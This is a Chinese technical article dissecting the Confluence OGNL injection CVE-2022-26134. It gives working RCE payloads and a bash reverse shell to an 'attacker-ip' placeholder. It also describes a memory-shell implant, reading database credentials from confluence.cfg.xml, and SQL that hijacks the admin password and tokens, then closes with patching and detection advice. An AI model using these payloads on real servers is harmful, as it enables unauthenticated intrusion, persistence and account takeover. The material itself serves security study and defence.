从CVE-2022-26134到权限维持：Confluence OGNL注入漏洞的深度利用链剖析

1. CVE-2022-26134漏洞初探：当Confluence遇上OGNL表达式

Confluence作为Atlassian旗下的企业级知识管理工具，被全球数万家企业用于团队协作和文档共享。但正是这样一个看似安全的系统，在2022年曝出了一个足以让攻击者"一键接管"服务器的致命漏洞——CVE-2022-26134。这个漏洞的特殊之处在于，它利用了OGNL（Object-Graph Navigation Language）表达式的解析机制，通过精心构造的HTTP请求，就能在目标服务器上执行任意命令。

我第一次复现这个漏洞时，发现它的触发条件简单得令人惊讶。攻击者只需要发送一个特制的URI请求，这个URI中的特殊字符会被Confluence错误地解析为OGNL表达式。比如${@java.lang.Runtime@getRuntime().exec("calc")}这样的表达式，会被服务器当作代码执行。在实际攻击中，攻击者往往会将恶意代码进行URL编码，就像这样：

GET /%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22calc%22%29%7D/ HTTP/1.1 Host: vulnerable-confluence-server

受影响的Confluence版本范围相当广泛，从6.13.0到7.18.0之间的多个版本都存在风险。我在测试环境中搭建了一个7.15.0版本的Confluence，使用vulhub提供的Docker镜像可以快速复现这个漏洞：

docker-compose up -d confluence:7.15.0

漏洞的严重性在于它不需要任何认证，这意味着任何能访问Confluence服务的人都可以利用它。更可怕的是，由于OGNL表达式功能强大，攻击者不仅能执行系统命令，还能直接操作Java对象、访问服务器内存中的数据，这为后续的权限维持打开了方便之门。

2. 从命令执行到权限维持：攻击链的深度剖析

2.1 初始入侵：命令执行的多种姿势

当攻击者发现存在漏洞的Confluence服务器后，第一步通常是验证漏洞是否存在。最简单的方法是执行id或whoami这样的基础命令。但实际渗透中，攻击者往往会采取更隐蔽的方式。我测试过几种不同的payload，发现通过HTTP响应头返回执行结果是最不容易被发现的：

${@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")}

这个payload会将命令执行结果放在X-Cmd-Response响应头中返回。对于需要复杂交互的场景，攻击者通常会选择反弹shell。在Linux环境下，可以使用如下bash命令：

bash -c 'exec bash -i &>/dev/tcp/attacker-ip/4444 <&1'

但这里有个坑需要注意：Confluence默认以confluence用户运行，这个用户权限有限，特别是在生产环境中，往往无法直接写入web目录获取webshell。这也是为什么很多攻击者会转向内存马技术。

2.2 权限维持的艺术：内存马植入实战

内存马（Memory Shell）是近年来红队最爱的权限维持技术之一。它不需要在磁盘上写入任何文件，直接驻留在Java应用的内存中，极大降低了被传统杀毒软件发现的概率。在Confluence漏洞利用中，哥斯拉内存马是最流行的选择。

我在测试中使用过BeichenDream开源的Godzilla MEMSHELL工具，它的工作原理是通过OGNL注入将恶意Servlet动态注册到Confluence的Web容器中。注入成功后，攻击者可以使用哥斯拉客户端直接连接，就像这样：

POST /malicious-path HTTP/1.1 Host: target-server Connection: close Content-Type: application/x-www-form-urlencoded payload=加密的哥斯拉指令...

内存马的最大优势是隐蔽性强，但它也有个缺点——服务重启就会失效。因此专业攻击者通常会采取组合策略，在植入内存马的同时，还会尝试获取数据库权限。

3. 数据库渗透：从Confluence用户到系统管理员

3.1 定位和窃取数据库凭证

Confluence的数据库配置通常存储在/var/atlassian/application-data/confluence/confluence.cfg.xml文件中。通过之前获取的命令执行权限，攻击者可以轻松读取这个文件：

cat /var/atlassian/application-data/confluence/confluence.cfg.xml

文件内容类似这样：

<property name="hibernate.connection.password">dbpassword123</property> <property name="hibernate.connection.username">confluenceuser</property> <property name="hibernate.connection.url">jdbc:postgresql://localhost:5432/confluence</property>

有了数据库凭证，攻击者可以直接操作Confluence的所有数据。这里有个技术细节：如果Confluence使用的是PostgreSQL且配置为本地连接，连接地址可能是db而不是localhost，这是很多新手容易踩的坑。

3.2 密码修改与持久化访问

Confluence的用户密码存储在cwd_user表的credential字段中，采用{PKCS5S2}格式的哈希。虽然无法直接解密，但攻击者可以用已知密码的哈希替换原有值。例如，将管理员密码改为123456对应的哈希：

UPDATE cwd_user SET credential='{PKCS5S2}UokaJs5wj02LBUJABpGmkxvCX0q+IbTdaUfxy1M9tVOeI38j95MRrVxWjNCu6gsm' WHERE user_name='admin';

更隐蔽的做法是修改Personal Access Tokens。这些token允许用户不输入密码就能访问API。攻击者可以查询AO_81F455_PERSONAL_TOKEN表，然后修改其中的HASHED_TOKEN字段：

UPDATE "AO_81F455_PERSONAL_TOKEN" SET "HASHED_TOKEN"='已知token哈希' WHERE "OWNER_ID"=(SELECT id FROM cwd_user WHERE user_name='admin');

在实际渗透测试中，我更喜欢使用自动化工具来完成这些操作。比如PostConfluence这个哥斯拉插件，它能自动完成从数据库连接到密码修改的全过程，大大提高了效率。

4. 防御之道：从漏洞修复到纵深防御

4.1 漏洞修复与补丁管理

对于CVE-2022-26134，Atlassian官方已经发布了修复补丁。企业应立即将Confluence升级到以下安全版本：

  • 7.4.17
  • 7.13.7
  • 7.14.3
  • 7.15.2
  • 7.16.4
  • 7.17.4
  • 7.18.1或更高版本

升级步骤很简单：

  1. 备份当前数据和配置文件
  2. 下载新版安装包
  3. 停止Confluence服务
  4. 安装新版本
  5. 启动服务并验证

但补丁管理只是安全的基础，真正的防护需要纵深防御策略。

4.2 检测与响应：如何发现入侵迹象

根据我的经验，检测Confluence是否被攻击可以从以下几个方面入手：

日志分析：检查atlassian-confluence-security.log中异常的OGNL表达式解析记录，特别是包含java.lang.Runtime等危险类的请求。

网络流量监控：内存马通常会建立长连接，监控异常HTTP请求，特别是带有加密payload的POST请求。

数据库审计：定期检查cwd_user和AO_81F455_PERSONAL_TOKEN表的修改记录，设置触发器对关键字段变更进行告警。

文件完整性检查：虽然高级攻击者可能不会修改文件，但仍需监控confluence.cfg.xml等关键配置文件的变更。

4.3 加固建议：让攻击者无从下手

除了基本的补丁更新，我建议采取以下加固措施：

  1. 最小权限原则：

    • Confluence运行账户应限制为仅能访问必要的目录
    • 数据库账户使用最小必要权限，禁止超级用户权限

  2. 网络隔离：

    • Confluence服务器不应直接暴露在互联网
    • 数据库服务器应与应用服务器隔离，仅开放必要端口

  3. 运行时保护：

    • 使用RASP（运行时应用自我保护）技术监控OGNL表达式解析
    • 部署WAF规则拦截包含OGNL特殊字符的请求

  4. 应急响应准备：

    • 准备Confluence数据备份和恢复流程
    • 制定内存马检测和清除方案

在最近的一次渗透测试中，我发现一个客户系统虽然打了补丁，但因为内存马未被清除，攻击者仍能通过后门访问。这提醒我们，漏洞修复后必须彻底检查系统，确保没有残留的恶意代码或后门账户。